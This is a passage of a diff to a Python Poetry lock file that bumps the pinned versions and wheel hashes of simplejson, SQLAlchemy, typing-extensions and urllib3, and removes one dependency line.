"sha256:6779105d2fcb7fcf794a6a2a233787f6bbd4731227333a072d8513b252ed374f"}, + {file = "simplejson-3.19.2-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:061e81ea2d62671fa9dea2c2bfbc1eec2617ae7651e366c7b4a2baf0a8c72cae"}, + {file = "simplejson-3.19.2-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4280e460e51f86ad76dc456acdbfa9513bdf329556ffc8c49e0200878ca57816"}, + {file = "simplejson-3.19.2-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:11c39fbc4280d7420684494373b7c5904fa72a2b48ef543a56c2d412999c9e5d"}, + {file = "simplejson-3.19.2-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bccb3e88ec26ffa90f72229f983d3a5d1155e41a1171190fa723d4135523585b"}, + {file = "simplejson-3.19.2-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1bb5b50dc6dd671eb46a605a3e2eb98deb4a9af787a08fcdddabe5d824bb9664"}, + {file = "simplejson-3.19.2-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:d94245caa3c61f760c4ce4953cfa76e7739b6f2cbfc94cc46fff6c050c2390c5"}, + {file = "simplejson-3.19.2-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:d0e5ffc763678d48ecc8da836f2ae2dd1b6eb2d27a48671066f91694e575173c"}, + {file = "simplejson-3.19.2-cp36-cp36m-musllinux_1_1_ppc64le.whl", hash = "sha256:d222a9ed082cd9f38b58923775152003765016342a12f08f8c123bf893461f28"}, + {file = "simplejson-3.19.2-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:8434dcdd347459f9fd9c526117c01fe7ca7b016b6008dddc3c13471098f4f0dc"}, + {file = "simplejson-3.19.2-cp36-cp36m-win32.whl", hash = "sha256:c9ac1c2678abf9270e7228133e5b77c6c3c930ad33a3c1dfbdd76ff2c33b7b50"}, + {file = "simplejson-3.19.2-cp36-cp36m-win_amd64.whl", hash = "sha256:92c4a4a2b1f4846cd4364855cbac83efc48ff5a7d7c06ba014c792dd96483f6f"}, + {file = "simplejson-3.19.2-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:0d551dc931638e2102b8549836a1632e6e7cf620af3d093a7456aa642bff601d"}, + {file = "simplejson-3.19.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:73a8a4653f2e809049999d63530180d7b5a344b23a793502413ad1ecea9a0290"}, + {file = "simplejson-3.19.2-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:40847f617287a38623507d08cbcb75d51cf9d4f9551dd6321df40215128325a3"}, + {file = "simplejson-3.19.2-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:be893258d5b68dd3a8cba8deb35dc6411db844a9d35268a8d3793b9d9a256f80"}, + {file = "simplejson-3.19.2-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e9eb3cff1b7d71aa50c89a0536f469cb8d6dcdd585d8f14fb8500d822f3bdee4"}, + {file = "simplejson-3.19.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:d0f402e787e6e7ee7876c8b05e2fe6464820d9f35ba3f172e95b5f8b699f6c7f"}, + {file = "simplejson-3.19.2-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:fbbcc6b0639aa09b9649f36f1bcb347b19403fe44109948392fbb5ea69e48c3e"}, + {file = "simplejson-3.19.2-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:2fc697be37585eded0c8581c4788fcfac0e3f84ca635b73a5bf360e28c8ea1a2"}, + {file = "simplejson-3.19.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:0b0a3eb6dd39cce23801a50c01a0976971498da49bc8a0590ce311492b82c44b"}, + {file = "simplejson-3.19.2-cp37-cp37m-win32.whl", hash = "sha256:49f9da0d6cd17b600a178439d7d2d57c5ef01f816b1e0e875e8e8b3b42db2693"}, + {file = "simplejson-3.19.2-cp37-cp37m-win_amd64.whl", hash = "sha256:c87c22bd6a987aca976e3d3e23806d17f65426191db36d40da4ae16a6a494cbc"}, + {file = "simplejson-3.19.2-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:9e4c166f743bb42c5fcc60760fb1c3623e8fda94f6619534217b083e08644b46"}, + {file = "simplejson-3.19.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:0a48679310e1dd5c9f03481799311a65d343748fe86850b7fb41df4e2c00c087"}, + {file = "simplejson-3.19.2-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:c0521e0f07cb56415fdb3aae0bbd8701eb31a9dfef47bb57206075a0584ab2a2"}, + {file = "simplejson-3.19.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0d2d5119b1d7a1ed286b8af37357116072fc96700bce3bec5bb81b2e7057ab41"}, + {file = "simplejson-3.19.2-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2c1467d939932901a97ba4f979e8f2642415fcf02ea12f53a4e3206c9c03bc17"}, + {file = "simplejson-3.19.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:49aaf4546f6023c44d7e7136be84a03a4237f0b2b5fb2b17c3e3770a758fc1a0"}, + {file = "simplejson-3.19.2-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:60848ab779195b72382841fc3fa4f71698a98d9589b0a081a9399904487b5832"}, + {file = "simplejson-3.19.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:0436a70d8eb42bea4fe1a1c32d371d9bb3b62c637969cb33970ad624d5a3336a"}, + {file = "simplejson-3.19.2-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:49e0e3faf3070abdf71a5c80a97c1afc059b4f45a5aa62de0c2ca0444b51669b"}, + {file = "simplejson-3.19.2-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:ff836cd4041e16003549449cc0a5e372f6b6f871eb89007ab0ee18fb2800fded"}, + {file = "simplejson-3.19.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:3848427b65e31bea2c11f521b6fc7a3145d6e501a1038529da2391aff5970f2f"}, + {file = "simplejson-3.19.2-cp38-cp38-win32.whl", hash = "sha256:3f39bb1f6e620f3e158c8b2eaf1b3e3e54408baca96a02fe891794705e788637"}, + {file = "simplejson-3.19.2-cp38-cp38-win_amd64.whl", hash = "sha256:0405984f3ec1d3f8777c4adc33eac7ab7a3e629f3b1c05fdded63acc7cf01137"}, + {file = "simplejson-3.19.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:445a96543948c011a3a47c8e0f9d61e9785df2544ea5be5ab3bc2be4bd8a2565"}, + {file = "simplejson-3.19.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:4a8c3cc4f9dfc33220246760358c8265dad6e1104f25f0077bbca692d616d358"}, + {file = "simplejson-3.19.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:af9c7e6669c4d0ad7362f79cb2ab6784d71147503e62b57e3d95c4a0f222c01c"}, + {file = "simplejson-3.19.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:064300a4ea17d1cd9ea1706aa0590dcb3be81112aac30233823ee494f02cb78a"}, + {file = "simplejson-3.19.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9453419ea2ab9b21d925d0fd7e3a132a178a191881fab4169b6f96e118cc25bb"}, + {file = "simplejson-3.19.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9e038c615b3906df4c3be8db16b3e24821d26c55177638ea47b3f8f73615111c"}, + {file = "simplejson-3.19.2-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:16ca9c90da4b1f50f089e14485db8c20cbfff2d55424062791a7392b5a9b3ff9"}, + {file = "simplejson-3.19.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:1018bd0d70ce85f165185d2227c71e3b1e446186f9fa9f971b69eee223e1e3cd"}, + {file = "simplejson-3.19.2-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:e8dd53a8706b15bc0e34f00e6150fbefb35d2fd9235d095b4f83b3c5ed4fa11d"}, + {file = "simplejson-3.19.2-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:2d022b14d7758bfb98405672953fe5c202ea8a9ccf9f6713c5bd0718eba286fd"}, + {file = "simplejson-3.19.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:febffa5b1eda6622d44b245b0685aff6fb555ce0ed734e2d7b1c3acd018a2cff"}, + {file = "simplejson-3.19.2-cp39-cp39-win32.whl", hash = "sha256:4edcd0bf70087b244ba77038db23cd98a1ace2f91b4a3ecef22036314d77ac23"}, + {file = "simplejson-3.19.2-cp39-cp39-win_amd64.whl", hash = "sha256:aad7405c033d32c751d98d3a65801e2797ae77fac284a539f6c3a3e13005edc4"}, + {file = "simplejson-3.19.2-py3-none-any.whl", hash = "sha256:bcedf4cae0d47839fee7de344f96b5694ca53c786f28b5f773d4f0b265a159eb"}, + {file = "simplejson-3.19.2.tar.gz", hash = "sha256:9eb442a2442ce417801c912df68e1f6ccfcd41577ae7274953ab3ad24ef7d82c"}, ] [[package]] @@ -2472,52 +2499,60 @@ files = [ [[package]] name = "sqlalchemy" -version = "2.0.20" +version = "2.0.22" description = "Database Abstraction Library" optional = false python-versions = ">=3.7" files = [ - {file = "SQLAlchemy-2.0.20-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:759b51346aa388c2e606ee206c0bc6f15a5299f6174d1e10cadbe4530d3c7a98"}, - {file = "SQLAlchemy-2.0.20-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:1506e988ebeaaf316f183da601f24eedd7452e163010ea63dbe52dc91c7fc70e"}, - {file = "SQLAlchemy-2.0.20-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5768c268df78bacbde166b48be788b83dddaa2a5974b8810af422ddfe68a9bc8"}, - {file = "SQLAlchemy-2.0.20-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a3f0dd6d15b6dc8b28a838a5c48ced7455c3e1fb47b89da9c79cc2090b072a50"}, - {file = "SQLAlchemy-2.0.20-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:243d0fb261f80a26774829bc2cee71df3222587ac789b7eaf6555c5b15651eed"}, - {file = "SQLAlchemy-2.0.20-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:6eb6d77c31e1bf4268b4d61b549c341cbff9842f8e115ba6904249c20cb78a61"}, - {file = "SQLAlchemy-2.0.20-cp310-cp310-win32.whl", hash = "sha256:bcb04441f370cbe6e37c2b8d79e4af9e4789f626c595899d94abebe8b38f9a4d"}, - {file = "SQLAlchemy-2.0.20-cp310-cp310-win_amd64.whl", hash = "sha256:d32b5ffef6c5bcb452723a496bad2d4c52b346240c59b3e6dba279f6dcc06c14"}, - {file = "SQLAlchemy-2.0.20-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:dd81466bdbc82b060c3c110b2937ab65ace41dfa7b18681fdfad2f37f27acdd7"}, - {file = "SQLAlchemy-2.0.20-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:6fe7d61dc71119e21ddb0094ee994418c12f68c61b3d263ebaae50ea8399c4d4"}, - {file = "SQLAlchemy-2.0.20-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e4e571af672e1bb710b3cc1a9794b55bce1eae5aed41a608c0401885e3491179"}, - {file = "SQLAlchemy-2.0.20-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3364b7066b3c7f4437dd345d47271f1251e0cfb0aba67e785343cdbdb0fff08c"}, - {file = "SQLAlchemy-2.0.20-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:1be86ccea0c965a1e8cd6ccf6884b924c319fcc85765f16c69f1ae7148eba64b"}, - {file = "SQLAlchemy-2.0.20-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:1d35d49a972649b5080557c603110620a86aa11db350d7a7cb0f0a3f611948a0"}, - {file = "SQLAlchemy-2.0.20-cp311-cp311-win32.whl", hash = "sha256:27d554ef5d12501898d88d255c54eef8414576f34672e02fe96d75908993cf53"}, - {file = "SQLAlchemy-2.0.20-cp311-cp311-win_amd64.whl", hash = "sha256:411e7f140200c02c4b953b3dbd08351c9f9818d2bd591b56d0fa0716bd014f1e"}, - {file = "SQLAlchemy-2.0.20-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:3c6aceebbc47db04f2d779db03afeaa2c73ea3f8dcd3987eb9efdb987ffa09a3"}, - {file = "SQLAlchemy-2.0.20-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7d3f175410a6db0ad96b10bfbb0a5530ecd4fcf1e2b5d83d968dd64791f810ed"}, - {file = "SQLAlchemy-2.0.20-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ea8186be85da6587456c9ddc7bf480ebad1a0e6dcbad3967c4821233a4d4df57"}, - {file = "SQLAlchemy-2.0.20-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:c3d99ba99007dab8233f635c32b5cd24fb1df8d64e17bc7df136cedbea427897"}, - {file = "SQLAlchemy-2.0.20-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:76fdfc0f6f5341987474ff48e7a66c3cd2b8a71ddda01fa82fedb180b961630a"}, - {file = "SQLAlchemy-2.0.20-cp37-cp37m-win32.whl", hash = "sha256:d3793dcf5bc4d74ae1e9db15121250c2da476e1af8e45a1d9a52b1513a393459"}, - {file = "SQLAlchemy-2.0.20-cp37-cp37m-win_amd64.whl", hash = "sha256:79fde625a0a55220d3624e64101ed68a059c1c1f126c74f08a42097a72ff66a9"}, - {file = "SQLAlchemy-2.0.20-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:599ccd23a7146e126be1c7632d1d47847fa9f333104d03325c4e15440fc7d927"}, - {file = "SQLAlchemy-2.0.20-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:1a58052b5a93425f656675673ef1f7e005a3b72e3f2c91b8acca1b27ccadf5f4"}, - {file = "SQLAlchemy-2.0.20-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:79543f945be7a5ada9943d555cf9b1531cfea49241809dd1183701f94a748624"}, - {file = "SQLAlchemy-2.0.20-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:63e73da7fb030ae0a46a9ffbeef7e892f5def4baf8064786d040d45c1d6d1dc5"}, - {file = "SQLAlchemy-2.0.20-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:3ce5e81b800a8afc870bb8e0a275d81957e16f8c4b62415a7b386f29a0cb9763"}, - {file = "SQLAlchemy-2.0.20-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:cb0d3e94c2a84215532d9bcf10229476ffd3b08f481c53754113b794afb62d14"}, - {file = "SQLAlchemy-2.0.20-cp38-cp38-win32.whl", hash = "sha256:8dd77fd6648b677d7742d2c3cc105a66e2681cc5e5fb247b88c7a7b78351cf74"}, - {file = "SQLAlchemy-2.0.20-cp38-cp38-win_amd64.whl", hash = "sha256:6f8a934f9dfdf762c844e5164046a9cea25fabbc9ec865c023fe7f300f11ca4a"}, - {file = "SQLAlchemy-2.0.20-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:26a3399eaf65e9ab2690c07bd5cf898b639e76903e0abad096cd609233ce5208"}, - {file = "SQLAlchemy-2.0.20-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:4cde2e1096cbb3e62002efdb7050113aa5f01718035ba9f29f9d89c3758e7e4e"}, - {file = "SQLAlchemy-2.0.20-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d1b09ba72e4e6d341bb5bdd3564f1cea6095d4c3632e45dc69375a1dbe4e26ec"}, - {file = "SQLAlchemy-2.0.20-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1b74eeafaa11372627ce94e4dc88a6751b2b4d263015b3523e2b1e57291102f0"}, - {file = "SQLAlchemy-2.0.20-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:77d37c1b4e64c926fa3de23e8244b964aab92963d0f74d98cbc0783a9e04f501"}, - {file = "SQLAlchemy-2.0.20-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:eefebcc5c555803065128401a1e224a64607259b5eb907021bf9b175f315d2a6"}, - {file = "SQLAlchemy-2.0.20-cp39-cp39-win32.whl", hash = "sha256:3423dc2a3b94125094897118b52bdf4d37daf142cbcf26d48af284b763ab90e9"}, - {file = "SQLAlchemy-2.0.20-cp39-cp39-win_amd64.whl", hash = "sha256:5ed61e3463021763b853628aef8bc5d469fe12d95f82c74ef605049d810f3267"}, - {file = "SQLAlchemy-2.0.20-py3-none-any.whl", hash = "sha256:63a368231c53c93e2b67d0c5556a9836fdcd383f7e3026a39602aad775b14acf"}, - {file = "SQLAlchemy-2.0.20.tar.gz", hash = "sha256:ca8a5ff2aa7f3ade6c498aaafce25b1eaeabe4e42b73e25519183e4566a16fc6"}, + {file = "SQLAlchemy-2.0.22-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:f146c61ae128ab43ea3a0955de1af7e1633942c2b2b4985ac51cc292daf33222"}, + {file = "SQLAlchemy-2.0.22-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:875de9414393e778b655a3d97d60465eb3fae7c919e88b70cc10b40b9f56042d"}, + {file = "SQLAlchemy-2.0.22-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:13790cb42f917c45c9c850b39b9941539ca8ee7917dacf099cc0b569f3d40da7"}, + {file = "SQLAlchemy-2.0.22-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e04ab55cf49daf1aeb8c622c54d23fa4bec91cb051a43cc24351ba97e1dd09f5"}, + {file = "SQLAlchemy-2.0.22-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:a42c9fa3abcda0dcfad053e49c4f752eef71ecd8c155221e18b99d4224621176"}, + {file = "SQLAlchemy-2.0.22-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:14cd3bcbb853379fef2cd01e7c64a5d6f1d005406d877ed9509afb7a05ff40a5"}, + {file = "SQLAlchemy-2.0.22-cp310-cp310-win32.whl", hash = "sha256:d143c5a9dada696bcfdb96ba2de4a47d5a89168e71d05a076e88a01386872f97"}, + {file = "SQLAlchemy-2.0.22-cp310-cp310-win_amd64.whl", hash = "sha256:ccd87c25e4c8559e1b918d46b4fa90b37f459c9b4566f1dfbce0eb8122571547"}, + {file = "SQLAlchemy-2.0.22-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:4f6ff392b27a743c1ad346d215655503cec64405d3b694228b3454878bf21590"}, + {file = "SQLAlchemy-2.0.22-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f776c2c30f0e5f4db45c3ee11a5f2a8d9de68e81eb73ec4237de1e32e04ae81c"}, + {file = "SQLAlchemy-2.0.22-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c8f1792d20d2f4e875ce7a113f43c3561ad12b34ff796b84002a256f37ce9437"}, + {file = "SQLAlchemy-2.0.22-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d80eeb5189d7d4b1af519fc3f148fe7521b9dfce8f4d6a0820e8f5769b005051"}, + {file = "SQLAlchemy-2.0.22-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:69fd9e41cf9368afa034e1c81f3570afb96f30fcd2eb1ef29cb4d9371c6eece2"}, + {file = "SQLAlchemy-2.0.22-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:54bcceaf4eebef07dadfde424f5c26b491e4a64e61761dea9459103ecd6ccc95"}, + {file = "SQLAlchemy-2.0.22-cp311-cp311-win32.whl", hash = "sha256:7ee7ccf47aa503033b6afd57efbac6b9e05180f492aeed9fcf70752556f95624"}, + {file = "SQLAlchemy-2.0.22-cp311-cp311-win_amd64.whl", hash = "sha256:b560f075c151900587ade06706b0c51d04b3277c111151997ea0813455378ae0"}, + {file = "SQLAlchemy-2.0.22-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:2c9bac865ee06d27a1533471405ad240a6f5d83195eca481f9fc4a71d8b87df8"}, + {file = "SQLAlchemy-2.0.22-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:625b72d77ac8ac23da3b1622e2da88c4aedaee14df47c8432bf8f6495e655de2"}, + {file = "SQLAlchemy-2.0.22-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b39a6e21110204a8c08d40ff56a73ba542ec60bab701c36ce721e7990df49fb9"}, + {file = "SQLAlchemy-2.0.22-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:53a766cb0b468223cafdf63e2d37f14a4757476157927b09300c8c5832d88560"}, + {file = "SQLAlchemy-2.0.22-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:0e1ce8ebd2e040357dde01a3fb7d30d9b5736b3e54a94002641dfd0aa12ae6ce"}, + {file = "SQLAlchemy-2.0.22-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:505f503763a767556fa4deae5194b2be056b64ecca72ac65224381a0acab7ebe"}, + {file = "SQLAlchemy-2.0.22-cp312-cp312-win32.whl", hash = "sha256:154a32f3c7b00de3d090bc60ec8006a78149e221f1182e3edcf0376016be9396"}, + {file = "SQLAlchemy-2.0.22-cp312-cp312-win_amd64.whl", hash = "sha256:129415f89744b05741c6f0b04a84525f37fbabe5dc3774f7edf100e7458c48cd"}, + {file = "SQLAlchemy-2.0.22-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:3940677d341f2b685a999bffe7078697b5848a40b5f6952794ffcf3af150c301"}, + {file = "SQLAlchemy-2.0.22-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:55914d45a631b81a8a2cb1a54f03eea265cf1783241ac55396ec6d735be14883"}, + {file = "SQLAlchemy-2.0.22-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2096d6b018d242a2bcc9e451618166f860bb0304f590d205173d317b69986c95"}, + {file = "SQLAlchemy-2.0.22-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:19c6986cf2fb4bc8e0e846f97f4135a8e753b57d2aaaa87c50f9acbe606bd1db"}, + {file = "SQLAlchemy-2.0.22-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:6ac28bd6888fe3c81fbe97584eb0b96804bd7032d6100b9701255d9441373ec1"}, + {file = "SQLAlchemy-2.0.22-cp37-cp37m-win32.whl", hash = "sha256:cb9a758ad973e795267da334a92dd82bb7555cb36a0960dcabcf724d26299db8"}, + {file = "SQLAlchemy-2.0.22-cp37-cp37m-win_amd64.whl", hash = "sha256:40b1206a0d923e73aa54f0a6bd61419a96b914f1cd19900b6c8226899d9742ad"}, + {file = "SQLAlchemy-2.0.22-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:3aa1472bf44f61dd27987cd051f1c893b7d3b17238bff8c23fceaef4f1133868"}, + {file = "SQLAlchemy-2.0.22-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:56a7e2bb639df9263bf6418231bc2a92a773f57886d371ddb7a869a24919face"}, + {file = "SQLAlchemy-2.0.22-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ccca778c0737a773a1ad86b68bda52a71ad5950b25e120b6eb1330f0df54c3d0"}, + {file = "SQLAlchemy-2.0.22-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7c6c3e9350f9fb16de5b5e5fbf17b578811a52d71bb784cc5ff71acb7de2a7f9"}, + {file = "SQLAlchemy-2.0.22-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:564e9f9e4e6466273dbfab0e0a2e5fe819eec480c57b53a2cdee8e4fdae3ad5f"}, + {file = "SQLAlchemy-2.0.22-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:af66001d7b76a3fab0d5e4c1ec9339ac45748bc4a399cbc2baa48c1980d3c1f4"}, + {file = "SQLAlchemy-2.0.22-cp38-cp38-win32.whl", hash = "sha256:9e55dff5ec115316dd7a083cdc1a52de63693695aecf72bc53a8e1468ce429e5"}, + {file = "SQLAlchemy-2.0.22-cp38-cp38-win_amd64.whl", hash = "sha256:4e869a8ff7ee7a833b74868a0887e8462445ec462432d8cbeff5e85f475186da"}, + {file = "SQLAlchemy-2.0.22-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:9886a72c8e6371280cb247c5d32c9c8fa141dc560124348762db8a8b236f8692"}, + {file = "SQLAlchemy-2.0.22-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:a571bc8ac092a3175a1d994794a8e7a1f2f651e7c744de24a19b4f740fe95034"}, + {file = "SQLAlchemy-2.0.22-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8db5ba8b7da759b727faebc4289a9e6a51edadc7fc32207a30f7c6203a181592"}, + {file = "SQLAlchemy-2.0.22-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0b0b3f2686c3f162123adba3cb8b626ed7e9b8433ab528e36ed270b4f70d1cdb"}, + {file = "SQLAlchemy-2.0.22-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:0c1fea8c0abcb070ffe15311853abfda4e55bf7dc1d4889497b3403629f3bf00"}, + {file = "SQLAlchemy-2.0.22-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:4bb062784f37b2d75fd9b074c8ec360ad5df71f933f927e9e95c50eb8e05323c"}, + {file = "SQLAlchemy-2.0.22-cp39-cp39-win32.whl", hash = "sha256:58a3aba1bfb32ae7af68da3f277ed91d9f57620cf7ce651db96636790a78b736"}, + {file = "SQLAlchemy-2.0.22-cp39-cp39-win_amd64.whl", hash = "sha256:92e512a6af769e4725fa5b25981ba790335d42c5977e94ded07db7d641490a85"}, + {file = "SQLAlchemy-2.0.22-py3-none-any.whl", hash = "sha256:3076740335e4aaadd7deb3fe6dcb96b3015f1613bd190a4e1634e1b99b02ec86"}, + {file = "SQLAlchemy-2.0.22.tar.gz", hash = "sha256:5434cc601aa17570d79e5377f5fd45ff92f9379e2abed0be5e8c2fba8d353d2b"}, ] [package.dependencies] @@ -2576,7 +2611,6 @@ files = [ [package.dependencies] anyio = ">=3.4.0,<5" -typing-extensions = {version = ">=3.10.0", markers = "python_version < \"3.10\""} [package.extras] full = ["httpx (>=0.22.0)", "itsdangerous", "jinja2", "python-multipart", "pyyaml"] @@ -2759,24 +2793,24 @@ files = [ [[package]] name = "typing-extensions" -version = "4.7.1" -description = "Backported and Experimental Type Hints for Python 3.7+" +version = "4.8.0" +description = "Backported and Experimental Type Hints for Python 3.8+" optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" files = [ - {file = "typing_extensions-4.7.1-py3-none-any.whl", hash = "sha256:440d5dd3af93b060174bf433bccd69b0babc3b15b1a8dca43789fd7f61514b36"}, - {file = "typing_extensions-4.7.1.tar.gz", hash = "sha256:b75ddc264f0ba5615db7ba217daeb99701ad295353c45f9e95963337ceeeffb2"}, + {file = "typing_extensions-4.8.0-py3-none-any.whl", hash = "sha256:8f92fc8806f9a6b641eaa5318da32b44d401efaac0f6678c9bc448ba3605faa0"}, + {file = "typing_extensions-4.8.0.tar.gz", hash = "sha256:df8e4339e9cb77357558cbdbceca33c303714cf861d1eef15e1070055ae8b7ef"}, ] [[package]] name = "urllib3" -version = "2.0.4" +version = "2.0.7" description = "HTTP library with thread-safe connection pooling, file post, and more." optional = false python-versions = ">=3.7" files = [ - {file = "urllib3-2.0.4-py3-none-any.whl", hash = "sha256:de7df1803967d2c2a98e4b11bb7d6bd9210474c46e8a0401514e3a42a75ebde4"}, - {file = "urllib3-2.0.4.tar.gz", hash = "sha256:8d22f86aae8ef5e410d4f539fde9ce6b2113a001bb4d189e0aed70642d602b11"}, + {file = "urllib3-2.0.7-py3-none-any.whl", hash = "sha256:fdb6d215c776278489906c2f8916e6e7d4f5a9b602ccbcfdf7f016fc8da0596e"}, + {file = "urllib3-2.0.7.tar.gz", hash = "sha256:c97dfde1f7bd43a71c8d2a58e369e9b2bf692d1334ea9f9cae55add7d0dd0f84"}, ] [package.extras] @@ -2805,24 +2839,24 @@ standard = ["colorama (>=0.4)", "httptools (>=0.5.0)", "python-dotenv 